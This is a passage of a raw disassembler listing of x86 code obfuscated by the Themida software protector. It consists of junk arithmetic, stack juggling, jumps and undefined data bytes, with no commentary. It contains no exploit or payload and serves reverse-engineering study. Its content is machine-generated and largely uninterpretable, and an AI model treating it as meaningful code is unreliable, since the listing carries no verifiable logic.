		mov	ecx, 713776ABh
		jmp	loc_557F3B
; ---------------------------------------------------------------------------


loc_55F3DC:				; CODE XREF: Themida_:0055B184j
		push	dword ptr [eax]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_558BB6
; ---------------------------------------------------------------------------
aQhi		db 'Qh›!',0
		align 2
		dw 3489h
		dd 5E89BE24h, 0C6812232h, 55283713h, 3E6C14Eh, 1C681h
		dd 0EEE90000h
		db 51h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F40F:				; CODE XREF: Themida_:0055EDE6j
		pop	edx
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebp
		push	ecx
		mov	ecx, 378B25DCh
		mov	ebp, 378B25E0h
		sub	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		push	ebp
		push	ebx
		mov	ebx, 3D320F66h
		shl	ebx, 2
		dec	ebx
		not	ebx
		xor	ebx, 0B37C26Ah
		mov	ebp, ebx
		pop	ebx
		sub	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_54FF17
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0C4832404h, 54E95504h
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F47B:				; CODE XREF: Themida_:00564E9Aj
		neg	edx
		add	edx, 0D96FAE4Eh
		mov	ebp, edx
		pop	edx
		jmp	loc_55283C
; ---------------------------------------------------------------------------


loc_55F48B:				; CODE XREF: Themida_:005617F6j
		push	esi
		mov	esi, 38AB3CAAh
		sub	eax, esi
		pop	esi
		jmp	loc_556596
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
aIHx		db '‰,$hå)',0
		align 4
		dd 0FF4CB0E9h, 3CD366FFh, 64E99C24h, 81FFFF0Ah,	323057C6h
		dd 0FFEE810Eh, 8174EF65h, 9E4C8F6h, 5EF031F9h, 0FF594AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F4CD:				; CODE XREF: Themida_:00561869j
		shl	edx, 7
		add	edx, 3504106h
		sub	edi, edx
		pop	edx
		add	ebx, edi
		jmp	loc_5526A3
; ---------------------------------------------------------------------------
		dd 0C23E981h, 0E1C10A26h, 65E98106h, 0C13EA728h, 0C18108E1h
		dd 18F5CDCCh, 159CF31h,	0B7E95FF8h
		db 54h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F503:				; CODE XREF: Themida_:00550C29j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55BBBA
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 26824h, 3C8B0000h, 0E06BE924h, 5F58FFFFh, 6C31EB81h
		dd 0D30148CEh, 6C31C381h, 148B48CEh, 4C48124h, 81000000h
		dd 4C3h, 28D2E900h, 248B0000h, 59BF5724h, 0F75E8767h, 4703E9D7h
		db 2 dup(0)
word_55F552	dw 8B66h		; DATA XREF: Themida_:0054FD90o
		dd 89512404h, 4EC83E1h,	89243489h, 4C681E6h, 81000000h
		dd 4EEh, 24348700h, 241C895Ch, 5CC2E9h,	5F545700h, 4BD55h
		dd 51E90000h, 5DFFFFE6h, 8104EE83h, 4ECh, 24348900h, 42474FFh
		dd 24048F5Eh, 8924248Bh, 8CB1240Ch, 820B050h, 87E958C1h
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F5AF:				; CODE XREF: Themida_:00550BA9j
		add	edx, esi
		pop	esi
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_5509AD
; ---------------------------------------------------------------------------
		db 87h,	4, 24h
		dd 0FF2CA1E9h, 4C083FFh, 5C240487h, 0F4BA5253h,	524F6B1Bh
		dd 0FFDDC9E9h, 2BE780FFh, 1931E951h, 0C2FE0000h, 807FB151h
		dd 0CA0082C1h, 26B15159h, 8004E9C0h, 0C980E6C1h, 0B7536637h
		dd 66F930A0h, 0A9A7E95Bh
		db 2 dup(0FFh)
word_55F606	dw 0FF64h		; DATA XREF: Themida_:0054FD6Co
		dd 909E932h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F60E:				; CODE XREF: Themida_:005526B6j
		mov	ebp, edx
		pop	edx
		and	esi, ebp
		jmp	loc_555E29
; ---------------------------------------------------------------------------
		dd 4C481h, 0C5810000h, 4, 0FF7FEAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F629:				; CODE XREF: Themida_:00559721j
		push	dword ptr [esp]
		pop	esi
		jmp	loc_55839B
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48124h, 0E9000000h, 0FFFF78DCh
; ---------------------------------------------------------------------------


loc_55F640:				; CODE XREF: Themida_:005527A3j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	1E79h
		mov	[esp], edx
		push	esi
		push	2D6C43FCh
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_555E4F
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 40DF61E4h, 95BDF29h,	243C8BFAh, 81E18951h, 4C1h, 4C18100h
		dd 0E9000000h, 4483h
; ---------------------------------------------------------------------------


loc_55F68C:				; CODE XREF: Themida_:005618AAj
		add	esp, 4
		add	ebp, 4A0F4C80h
		mov	eax, ebp
		pop	ebp
		xchg	eax, ecx
		push	ecx
		not	dword ptr [esp]
		jmp	loc_5602B3
; ---------------------------------------------------------------------------
		dw 0C29h
		dd 0D9F75924h, 2445E981h, 0E1C10119h, 0EC18104h, 296E9749h
		dd 0F58959CEh, 4DE9815Eh, 102F201h, 4DC181E9h, 5D02F201h
		dd 4EC81h, 0C890000h, 2474FF24h, 240C8B04h, 0E904C483h
		dd 0FFFFD3EEh, 4F05F829h, 5F7EAA22h, 46209405h,	32282D30h
		dd 0D801506Ch, 6C322805h, 0E109E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F702:				; CODE XREF: Themida_:0055EE1Cj
		pop	ebp
		push	ebx
		mov	ebx, 174358E8h
		sub	eax, 5DAA2476h
		sub	eax, ebx
		add	eax, 5DAA2476h
		pop	ebx
		pop	edi
		jmp	loc_5554ED
; ---------------------------------------------------------------------------


loc_55F71C:				; CODE XREF: Themida_:00556A24j
		sub	bl, 0E9h
		jmp	loc_562B45
; ---------------------------------------------------------------------------
dword_55F724	dd 24048B66h, 2BF568h, 24148900h, 0F068E289h, 8900002Ch
					; DATA XREF: Themida_:0054FE64o
		dd 4B82404h, 0E9000000h, 0FFFFD750h, 8B2434FFh,	0C4832404h
		dd 0A8E95004h, 0BBFFFFDEh, 4080BC00h, 505BD931h, 8F6539B8h
		dd 58C20161h, 0FF4675E9h, 0C48159FFh, 4, 3C0168h, 0F999E900h
		dd 8BAFFFFh, 313FA536h,	0F5895AD6h, 0FFCCE6E9h,	0E7E956FFh
		dd 81000051h, 65885AC7h, 5FF98997h, 0FFCBE7E9h,	2BEFFh
		dd 4BE90000h
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F7A7:				; CODE XREF: Themida_:005542DAj
		sub	esi, ebx
		add	esi, 7B512879h
		mov	ebx, [esp]
		add	esp, 4
		or	[edi+1Ch], esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_55DF61
; ---------------------------------------------------------------------------
		db 66h,	59h, 0E9h
		dd 0FFFF074Fh
; ---------------------------------------------------------------------------


loc_55F7C8:				; CODE XREF: Themida_:005552C1j
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		shr	ecx, 7
		push	552Ch
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	5FC9h
		mov	[esp], esi
		push	edx
		mov	edx, 4
		mov	esi, edx
		mov	edx, [esp]
		add	esp, 4
		push	2062h
		mov	[esp], ebp
		mov	ebp, 3F521D00h
		sub	edx, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		push	ebp
		jmp	loc_551D9B
; ---------------------------------------------------------------------------
		db 0E9h, 0FDh, 6
		dd 0C8BFFFFh, 4C48124h,	0E9000000h, 0FFFFDD0Fh,	5004E2C1h
		dd 0EC71E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F832:				; CODE XREF: Themida_:00555D4Bj
		mov	edi, 221D536Bh
		and	edi, 6ADC55EBh
		jmp	loc_563263
; ---------------------------------------------------------------------------


loc_55F842:				; CODE XREF: Themida_:0055B784j
		mov	edx, 4AFC2D5Ah
		shl	edx, 2
		jmp	loc_55712A
; ---------------------------------------------------------------------------


loc_55F84F:				; CODE XREF: Themida_:0055D0E9j
		pop	eax
		add	bl, 0Ch
		jmp	loc_556A0B
; ---------------------------------------------------------------------------
		dd 3B14B9h, 81D9F71Fh, 0FFFFFFC1h, 0F7D987FFh, 0F7D987D3h
		dd 4F3AE9D1h, 0E3890000h, 0FF8811E9h, 81D7F7FFh, 0AE07A0EFh
		dd 0C1C78127h, 81661038h, 6676B0EFh, 0FCC78175h, 21C331A0h
		dd 28055FF8h, 563B5F14h, 437B80BEh, 81D6F711h, 0FC6EFEEEh
		dd 14F75663h, 0C6815E24h, 9D1A2429h, 355EF031h,	69AA12DBh
		dd 0E958C201h, 0FFFF74D7h, 5ABD55h, 6AE954ECh, 81FFFF73h
		dd 0EE5253E7h, 2F97E977h, 0E942FFFFh, 0FFFF6F04h, 0F0886EB6h
		dd 24148B66h, 5302C483h, 0B3536650h, 0E9D888BAh, 0FFFF7175h
; ---------------------------------------------------------------------------


loc_55F8F8:				; CODE XREF: Themida_:0056223Cj
		add	esi, edx
		add	esi, 4AAC058Fh
		jmp	loc_555196
; ---------------------------------------------------------------------------
		db 29h,	6Ch, 24h
		dd 246C8104h, 613EF404h, 2434FF72h, 0FF1DE5E9h,	246C81FFh
		dd 7E168D04h, 246C8179h, 8B5AEB04h, 245C2963h, 24448104h
		dd 8B5AEB04h, 24448163h, 7E168D04h, 0DBBA5279h,	81466B71h
		dd 0EE08246Ch, 81463668h, 0E1082444h, 29572F33h, 0E9082454h
		dd 0FFFFB99Bh, 250DE950h
		db 2 dup(0)
word_55F962	dw 0FF66h		; DATA XREF: Themida_:0054FD04o
		dd 5ADE932h, 0EA81FFFFh, 42817BACh, 0FFD32DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F975:				; CODE XREF: Themida_:0055BE5Cj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_554BF0
; ---------------------------------------------------------------------------
		db 0FEh, 0CFh, 80h
		dd 0EF8087CFh, 8BFD30C4h, 8957241Ch, 4C781E7h, 83000000h
		dd 3C8704C7h, 0F9685C24h, 8900005Eh, 0E9532414h, 0FFFF9071h
		dd 64E99C50h, 5FFFF05h,	4B247765h, 652DD801h, 8B4B2477h
		dd 0C483241Ch, 0E9D80104h, 0FFFF6634h, 3582F781h, 0DFF77EA8h
		dd 0FFDA16E9h
		db 0FFh
byte_55F9D9	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0054FE58o
		dd 5EE0E924h, 34FFFFFFh, 240C8B24h, 8304C483h, 7BE904C4h
		dd 55000010h, 975E9h, 0C4835B00h, 0FFDA8904h, 34FF2434h
		dd 7F07E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FA0A:				; CODE XREF: Themida_:0055DD62j
		pop	ecx
		jmp	loc_55EFE0
; ---------------------------------------------------------------------------
		dd 8704C383h, 0E95C241Ch, 0FFFFDD01h, 7BE9D129h
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FA23:				; CODE XREF: Themida_:005616FEj
		push	dword ptr [esp]
		pop	eax
		jmp	loc_553817
; ---------------------------------------------------------------------------
aYasrq		db 'YAéàQ',0
		db 0
; ---------------------------------------------------------------------------


loc_55FA33:				; CODE XREF: Themida_:0055B9A1j
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		push	edi
		mov	edi, 4
		sub	edx, 0BDC42BFh
		add	edx, edi
		add	edx, 0BDC42BFh
		pop	edi
		jmp	loc_564B71
; ---------------------------------------------------------------------------
		dd 0ED176A2Dh, 0B9515B29h, 6E501AE2h, 2414F751h, 0E6895659h
		dd 5855E9h, 242C8900h, 45850BDh, 8BE8294Dh, 0C483242Ch
		dd 240C8B04h, 0FF1C1AE9h, 0C0835DFFh, 24043304h, 0FF80ECE9h
		dd 0F8055CFFh, 295A8960h, 60F82DE8h, 4B055A89h,	0E97BCA06h
		dd 0FFFFC4DCh
; ---------------------------------------------------------------------------


loc_55FAAC:				; CODE XREF: Themida_:0055BE71j
		add	ecx, 6A6D6B6Ah
		push	2C46h
		mov	[esp], edx
		mov	edx, 77C7193Bh
		sub	ecx, edx
		jmp	loc_558EDD
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 7C8F1AA7h, 0A7CFE959h, 0C381FFFFh, 4, 8704EB83h, 895C241Ch
		dd 8BBD242Ch, 0F72FA25Fh, 0F7E2E9D5h, 48FFFFFh,	24248B24h
		dd 0FF243C89h, 8B042474h, 0E955243Ch, 29F2h, 0DA88C388h
		dd 0D000585Bh, 0FF6AFEE9h, 1C183FFh, 668868h, 243C8900h
		dd 4867BBBFh, 0E7BE5674h, 813D7A6Dh, 0BC5B27C6h, 95E95349h
		dd 89FFFF0Dh, 0E789243Ch, 0FF6D83E9h, 39EA81FFh, 0E97D3271h
		dd 0FFFF8BB6h, 4C181h, 99E90000h, 81FFFFD6h, 0CA04246Ch
		dd 0E95BCB14h, 0FFFF3227h
; ---------------------------------------------------------------------------


loc_55FB60:				; CODE XREF: Themida_:005531ECj
		push	eax
		jmp	loc_5564D1
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 242C8904h, 7E466856h, 0F75E0218h, 64EE81D6h,	8140C30Eh
		dd 0C061C5F6h, 0E9F589D3h, 1228h
; ---------------------------------------------------------------------------


loc_55FB88:				; CODE XREF: Themida_:00551DE9j
		push	dword ptr [esp]
		pop	ecx
		push	6519h
		mov	[esp], ebx
		jmp	loc_554A6F
; ---------------------------------------------------------------------------
byte_55FB99	db 66h,	8Bh, 4		; DATA XREF: Themida_:0054FDECo
aHss		db '$h‘S',0
		align 2
		dw 0C89h
		dd 50E18924h, 4B8h, 0E9C10100h,	4BCCh, 7EC58145h, 57CBA3F0h
		dd 9214A8BFh, 0E3F78158h, 0E9235812h, 2654h, 0E556C381h
		dd 0BB53AA42h, 5D5476D0h, 1394EB81h, 0C6E93373h
		db 72h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FBE3:				; CODE XREF: Themida_:00550B8Dj
		sub	al, 28h
		add	al, 14h
		push	7506h
		mov	[esp], edx
		mov	dl, 42h
		jmp	loc_564CBB
; ---------------------------------------------------------------------------


loc_55FBF6:				; CODE XREF: Themida_:0056421Fj
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_55892E
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 1451B850h, 3B0D05DBh, 3521B94Ch, 0CC766ACh, 504E8C1h
		dd 0FD6C3C55h, 0FF7D4EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FC2D:				; CODE XREF: Themida_:0055BDD0j
		sub	esi, 0C49DC7A6h
		jmp	loc_555D4A
; ---------------------------------------------------------------------------
		dd 7A535CB9h, 98C58115h, 29156A34h, 98ED81CDh, 59156A34h
		dd 2C8BEF01h, 4C48324h,	3C8BF821h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		or	eax, eax
		jz	loc_55EE2F
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_55DD42
; ---------------------------------------------------------------------------
		db 5Ch,	0FFh, 34h
		dd 2434FF24h, 4C48158h,	0E9000000h, 36F8h, 0E92434FFh
		dd 0FFFF3031h, 405h, 40500h, 4870000h, 4D88E924h, 0C381FFFFh
		dd 4, 8704C383h, 63E9241Ch
		db 7Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FCB7:				; CODE XREF: Themida_:00564D6Bj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_564F9C
; ---------------------------------------------------------------------------
		db 0BAh
		dd 1B755E53h, 2D5AD031h, 485AF8BCh, 0FF6A6BE9h,	755EBDFFh
		dd 0E957169Dh, 0FFFF1EE7h
; ---------------------------------------------------------------------------


loc_55FCE8:				; CODE XREF: Themida_:0055AA0Ej
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_55087D
; ---------------------------------------------------------------------------
		dw 0FF53h
		dd 0E9042474h, 64h, 5D2978BFh, 4CCF8119h, 0E9139F43h, 0FFFFEDA8h
dword_55FD0C	dd 240C8B66h, 53E18951h, 0BD782368h, 241C8B31h,	0E904C483h
					; DATA XREF: Themida_:0054FC98o
		dd 0FFFFB2F1h, 104C483h, 9BBA52C5h, 8138D649h, 0D640DBCAh
		dd 0C1D2F748h, 0C28104EAh, 454210CFh, 77EBCA81h, 0C28152D5h
		dd 0C9C6896h, 8B5AD501h, 0C4832404h, 2C58304h, 0E9242C87h
		dd 0FFFF9B46h, 0E92434FFh, 0FFFF6D18h
dword_55FD68	dd 0E9AA2CACh, 0FFFFB9C0h ; DATA XREF: Themida_:0054FC40o
; ---------------------------------------------------------------------------


loc_55FD70:				; CODE XREF: Themida_:005565B1j
		mov	ecx, [esp]
		add	esp, 4
		mov	bl, ah
		jmp	loc_564BBF
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 0CD20BBBDh, 0E9D5F71Dh, 0AA2h, 4C381h, 38E90000h, 5BFFFFDBh
		dd 815BDD29h, 852E08F5h, 9AF5812Eh, 2D38224Dh, 6FB1A61h
		dd 0FF196EE9h, 49F181FFh, 0F72F3A1Ah, 0E8C181D1h, 0E9588F7Ah
		dd 0FFFFDE83h, 55E9DE29h, 81FFFFABh, 4C4h, 51F6E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FDD6:				; CODE XREF: Themida_:0055ADDEj
		sub	edx, 5CE2232Ch
		mov	ebx, [esp]
		jmp	loc_555AD1
; ---------------------------------------------------------------------------


loc_55FDE4:				; CODE XREF: Themida_:005500BDj
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		push	ebp
		jmp	loc_556035
; ---------------------------------------------------------------------------
		db 54h,	0E9h, 9Ch
		db 7Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FDF7:				; CODE XREF: Themida_:0055006Cj
		push	dword ptr [esp]
		jmp	loc_5634EC
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0FFBECAE9h, 4EC83FFh, 0B8240489h, 52AB5419h,	2AC3BA52h
		dd 7E907A8h, 51FFFFA2h,	0EB88C588h, 50240C8Bh, 405E089h
		dd 83000000h, 79E904C0h, 5600001Fh, 0C681E689h,	4, 0FF101CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FE41:				; CODE XREF: Themida_:00564935j
		xor	ebp, 36164825h
		and	edi, ebp
		pop	ebp
		push	edi
		sub	esp, 4
		mov	[esp], ebx
		pop	edi
		jmp	loc_553505
; ---------------------------------------------------------------------------
aBEixcsid	db 'Å…¨xçéID',0
		align 2
		dw 3433h
		dd 24343124h, 8B243433h, 0C4812424h, 4,	9C2404FFh, 0FF009AE9h
		dd 0E9D5F7FFh, 201Ch, 42E9F529h
		db 1, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FE8B:				; CODE XREF: Themida_:00555AB8j
		mov	edi, ebx
		pop	ebx
		mov	ecx, [esp]
		add	esp, 4
		and	eax, edi
		mov	edi, [esp]
		jmp	loc_55E510
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 57000000h, 3A10B951h, 0BE562924h, 1D7E5CDBh,	8247401h
		dd 0AAB9515Eh, 0E97ACC70h, 1F3Fh
; ---------------------------------------------------------------------------


loc_55FEC4:				; CODE XREF: Themida_:005614E9j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_563C41
; ---------------------------------------------------------------------------
word_55FED2	dw 8B66h		; DATA XREF: Themida_:0054FC7Co
		dd 47E92404h
		db 4Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55FEDB:				; CODE XREF: Themida_:00556440j
		sub	edi, 5F886E3Eh
		add	edx, edi
		pop	edi
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_554675
; ---------------------------------------------------------------------------


loc_55FEEF:				; CODE XREF: Themida_:00553B80j
		shr	edi, 3
		xor	edi, 80E94EAAh
		add	ecx, edi
		mov	edi, [esp]
		push	ebp
		jmp	loc_562135
; ---------------------------------------------------------------------------
aPS		db 'Pώ',0Dh,0
		dd 5058FFFFh, 0E36868B4h, 0E9000064h, 0FFFF2C55h
; ---------------------------------------------------------------------------


loc_55FF18:				; CODE XREF: Themida_:0055035Cj
		dec	esi
		and	esi, 4DAC4122h
		xor	esi, 593B2C9Bh
		or	esi, 389B4423h
		or	esi, 635267D5h
		sub	esi, 7FDF6FFBh
		add	edi, esi
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		push	ebp
		mov	ebp, 15223214h
		jmp	loc_5529FB
; ---------------------------------------------------------------------------


loc_55FF4A:				; CODE XREF: Themida_:0055CCF5j
		add	ebx, 4
		jmp	loc_55A94B
; ---------------------------------------------------------------------------
		db 0B9h, 0, 16h
		dd 0C1810221h, 0D6DE0C24h, 1A43E9h
		db 0
; ---------------------------------------------------------------------------


loc_55FF65:				; CODE XREF: Themida_:00561283j
		pop	edx
		jmp	loc_55CFA1
; ---------------------------------------------------------------------------


loc_55FF6B:				; CODE XREF: Themida_:00559771j
		xor	bl, 43h
		sub	al, bl
		pop	ebx
		push	ecx
		mov	ch, 7Eh
		xor	ch, 59h
		jmp	loc_55E5D5
; ---------------------------------------------------------------------------
		dd 3C6EB951h, 0ADE95A5Ah
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FF87:				; CODE XREF: Themida_:00561C64j
		mov	[esp], ecx
		mov	ecx, 7FA5EB3h
		push	ebx
		push	ebp
		jmp	loc_557DFC
; ---------------------------------------------------------------------------


loc_55FF96:				; CODE XREF: Themida_:00551004j
		inc	esi
		sub	esi, 4A0829B7h
		add	esi, 8E2E61AFh
		add	ebp, esi
		pop	esi
		xor	ebp, 0F96E4D72h
		xor	edi, ebp
		pop	ebp
		mov	eax, edi
		jmp	loc_5647ED
; ---------------------------------------------------------------------------
		dw 0EBC1h
		dd 5EBC107h, 2588CB81h,	0F3810306h, 2A8BC6EDh, 815BDE89h
		dd 1C6h, 3DE68100h, 0E9245418h,	0FFFF151Ch, 64BC6859h
		dd 14890000h, 7F64BA24h, 0EBE92089h, 66FFFFF8h,	663CA568h
		dd 0B1240C89h, 2EC83DDh, 240C8966h, 0B5AFB450h,	8BE5300Bh
		dd 0C4812404h, 4, 5966E828h, 8956C800h,	4C681E6h, 53000000h
		dd 2BBh, 5BDE2900h, 31243433h, 34332434h, 2A77E924h, 0D1F6FFFFh
		dd 8904EC83h, 57B7241Ch, 0E90BCF80h, 0FFFF019Ch, 5B66FD30h
		dd 8904EC83h, 8E682404h, 0E9000012h, 0FFFF4658h
; ---------------------------------------------------------------------------


loc_56005C:				; CODE XREF: Themida_:005634D0j
		mov	ecx, [esp]
		add	esp, 4
		push	353Ah
		mov	[esp], ebp
		mov	ebp, 1
		jmp	loc_55BB5F
; ---------------------------------------------------------------------------


loc_560077:				; CODE XREF: Themida_:00550B96j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		and	ecx, 37172ECDh
		not	ecx
		xor	ecx, 5C0B20D8h
		add	ecx, 7C082A5Ah
		sub	eax, 1ED60F8Dh
		add	eax, ecx
		add	eax, 1ED60F8Dh
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_561B7B
; ---------------------------------------------------------------------------
		dw 8159h
		dd 4C1h, 82FFE900h, 0DCF6FFFFh,	0E903E4C0h, 44D9h, 6624248Bh
		dd 2404AB0Fh, 4DF9E99Ch, 0CFBA0000h, 68185F7Fh,	0
		dd 0FF2823E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5600E9:				; CODE XREF: Themida_:005599AAj
		add	bx, 7E92h
		sub	bx, 46CCh
		movzx	eax, ax
		push	eax
		push	44F4h
		sub	esp, 4
		jmp	loc_55B843
; ---------------------------------------------------------------------------
		db 55h
		dd 4BDh, 246C0100h, 815D5D04h, 4C5h, 4C58100h, 33000000h
		dd 21E9242Ch, 8BFFFFF1h, 91682404h, 0E9000018h,	0FFFFDAC3h
		dd 8103EBC1h, 10DA4BF3h, 5BDF2973h, 7A0468FDh, 14890000h
		dd 6B856824h, 82E96E89h, 83FFFF44h, 0BD5504C4h,	4, 70E9EB01h
		dd 0D1FFFF32h, 95F781E7h, 0E9BB23E6h, 0FFFFD3B5h
; ---------------------------------------------------------------------------


loc_560170:				; CODE XREF: Themida_:005654D8j
		add	edi, esi
		pop	esi
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		push	esi
		push	ebx
		mov	ebx, 540D0FD9h
		push	ebx
		add	dword ptr [esp], 725A23B5h
		pop	esi
		push	ebp
		mov	ebp, 77E20499h
		jmp	loc_556407
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 0EC832414h, 24248904h, 4BF57h, 0BE560000h, 5A440407h
		dd 8247401h, 247C015Eh,	246C8104h, 44040704h, 34FF5F5Ah
		dd 0C4815A24h, 4, 4C281h, 48E90000h, 54FFFF61h,	0FF5354E9h
		dd 69C381FFh, 8173C87Fh, 5B5BAFF3h, 2A19E944h, 815AFFFFh
		dd 4C4h, 0FFEA8100h, 81FFFFFFh,	1E5DF5EAh, 0E9D6892Ah
		dd 3A84h, 5C243C87h, 0FF4801E9h, 81E589FFh, 4C5h, 4C58300h
		dd 0E9242C33h, 45B0h, 0BE5016BBh, 0EB81436Eh, 66090E17h
		dd 7F31F381h, 0DF014DE6h, 0BE56595Bh, 20F81422h, 8105EEC1h
		dd 7C09DEEh, 8BF72901h,	0C4832434h, 9461E904h, 8F54FFFFh
		dd 4812404h, 424h, 0C5815D00h, 4, 4BE56h, 0ED810000h, 0B833B3Eh
		dd 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h, 4CB82404h
		dd 0E9771E43h, 0FFFF60CEh, 7F3AE95Dh, 5B5AFFFFh, 0C8BEE88h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		jmp	loc_559558
; ---------------------------------------------------------------------------


loc_5602B3:				; CODE XREF: Themida_:0055F69Dj
		pop	ecx
		xchg	eax, ecx
		add	eax, 2DB35169h
		dec	eax
		not	eax
		sub	eax, 1
		inc	eax
		sub	esp, 4
		jmp	loc_5523B5
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483240Ch, 73636804h, 2C890000h, 4EC8124h, 89000000h
		dd 1CB9240Ch, 87374B57h, 0E9D5F7E9h, 4A46h
; ---------------------------------------------------------------------------


loc_5602F0:				; CODE XREF: Themida_:005625ACj
		push	61343D60h
		pop	ebx
		or	ebx, 1CDF7A0Ah
		push	ecx
		mov	ecx, 38EA7BDEh
		inc	ecx
		inc	ecx
		jmp	loc_55C4B3
; ---------------------------------------------------------------------------
		db 51h,	89h, 0E1h
		dd 4C181h, 0E9830000h, 240C8704h, 0FF2ED4E9h, 0F8C681FFh
		dd 0C12C6484h, 0F75605EEh, 0E95E2414h, 0FFFF1B9Ch, 1E1CC181h
		dd 0D9290089h, 1E1CBD55h, 0E9290089h, 241C8B5Dh, 0E904C483h
		dd 1B3Eh, 81240C8Bh, 4C4h, 0C9C68100h, 2901F743h, 0DA65E9CEh
		dd 5055FFFFh, 384ACF68h, 87B2E912h, 1CF7FFFFh, 5392E924h
		dd 48BFFFFh, 0EFC8E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56037E:				; CODE XREF: Themida_:0055D390j
		add	eax, edi
		add	eax, 54A30B71h
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_552829
; ---------------------------------------------------------------------------


loc_560390:				; CODE XREF: Themida_:0055AEF5j
		sub	esi, 3B5B2804h
		jmp	loc_56051B
; ---------------------------------------------------------------------------
		db 0F6h
aA_2		db 'Ý€Å',9,0
		db 0E8h, 59h, 51h
		dd 50661AB1h, 0E10868B4h, 50665866h, 0FFCC02E9h, 2BBD55FFh
		dd 968A009h, 814F5DEFh,	0AE6DBAF7h, 5FFA01EFh, 26853h
		dd 0E95B0000h, 0FFFF2B86h, 31240C33h, 0C33240Ch, 24248B24h
		dd 2424D366h, 0FB2DE99Ch, 0BE56FFFEh, 4, 0E95EF701h, 0FFFF8609h
; ---------------------------------------------------------------------------


loc_5603F8:				; CODE XREF: Themida_:00550441j
		mov	[esp], eax
		mov	eax, 3EB2122Ch
		not	eax
		not	eax
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		jmp	loc_565419
; ---------------------------------------------------------------------------
		dd 83243C8Bh, 0C18304C4h, 74FF5104h, 8CE90424h,	89FFFFD0h
		dd 0EC832414h, 24248904h, 4240483h, 4BD555Ah, 817A133Eh
		dd 0FFFFFFC5h, 7EF6E9FFh, 15EFFFFh, 160705F0h, 685E0456h
		dd 0ED9h, 0FF9D51E9h, 5FF901FFh, 8E9CE89h, 53FFFF21h, 5404EC83h
